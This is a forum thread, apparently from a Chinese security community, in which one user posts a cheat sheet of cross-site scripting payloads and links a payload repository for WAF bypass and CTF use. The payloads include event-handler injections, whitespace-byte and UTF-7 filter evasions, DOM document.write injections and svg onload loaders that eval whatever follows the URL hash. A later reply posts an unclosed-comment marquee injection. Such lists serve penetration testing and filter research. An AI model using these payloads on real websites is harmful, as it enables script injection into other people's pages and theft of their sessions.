hades 2017-06-14 03:27:42

```
<img src=1.png onload=alert(7)>
<style onload=alert(8)>
<input src=1.png type="image" onload=alert(3)>
<script src=0.js onerror=alert(1)></script>
<script src=1.js onload=alert(5)></script>
<listing><img src=x onerror=alert(32)></listing>

<img onerror=MsgBox+9 language=vbs src=a>
<img onerror=MsgBox+8 language=vbscript src=a>

====
<svg[0X09]onload=alert()>
<svg[0X0A]onload=alert()>
<svg[0X0C]onload=alert()>
<svg[0X0D]onload=alert()>
<svg[0X020]onload=alert()>
<svg[0X2F]onload=alert()>
====

<meta http-equiv="content-type" content="text/html;charset=utf-7"> +ADw-script+AD4-alert(123); +ADw-/script+AD4-

<svg/onload=eval(location.hash.slice(1))>
<svg/onload=eval(location.hash.substr(1))>
```

```
<svg/onload=eval(location.hash.split('#')[1])>
<svg><g onload=alert(55)>
<svg onload=alert(54)>

<image src=1 onerror=alert(53)>
<b/ondrag=alert()>x
<audio src=x onerror=alert(51)>

<frameset onload=alert(40)>
<select onfocus=alert(36) autofocus>
<textarea onfocus=alert(37) autofocus>
<keygen onfocus=alert(38) autofocus>
<input onfocus=alert(33) autofocus>

<iframe/onload=alert(document.domain)></iframe>

<body/onload=alert(25)>
<img src=x onerror=alert(24)>
<a onclick=alert(18)>M
<a onmouseover=alert(17)>M

===DOM===
<input onclick="document.write('<img src=x onerror=alert(1)>');">
<input onclick="document.write('<img src=x onerror=alert(1)>');">
```

0 回复Ta

---

hades 2017-06-14 03:48:14

一些绕过WAF和渗透/CTF用的有效payload
https://github.com/swisskyrepo/PayloadsAllTheThings

0 回复Ta

---

monika 2017-11-08 14:06:03

<marquee><H1>Mannix</H1></marquee><!--

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板